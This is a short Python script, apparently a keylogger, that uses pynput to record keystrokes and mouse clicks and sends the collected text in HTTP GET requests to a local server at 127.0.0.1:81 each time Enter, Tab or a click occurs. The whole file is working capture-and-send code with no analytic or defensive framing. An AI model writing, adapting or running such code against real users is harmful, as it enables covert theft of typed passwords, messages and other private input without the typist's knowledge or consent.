# -*- coding: UTF-8 -*-
from pynput.keyboard import Key,Listener
from pynput.mouse import Listener as listeners
import requests
timeout=""
clickval=""
def press(key):
	global timeout
	global clickval
	timeout=timeout+str(key)[1]
	if clickval or key == Key.enter or key == Key.tab:
		url=""
		url="http://127.0.0.1:81/?text="+timeout
		requests.get(url)
		timeout=""
		clickval=""
		return

def on_click(x,y,button,pressed):
	global clickval
	if pressed:
		clickval=f"{x},{y}"

if __name__ == '__main__':
	while True:
		keyboard_listener=Listener(on_press=press)
		keyboard_listener.start()
		mouse_listener=listeners(on_click=on_click)
		mouse_listener.start()
		keyboard_listener.join()
		mouse_listener.join()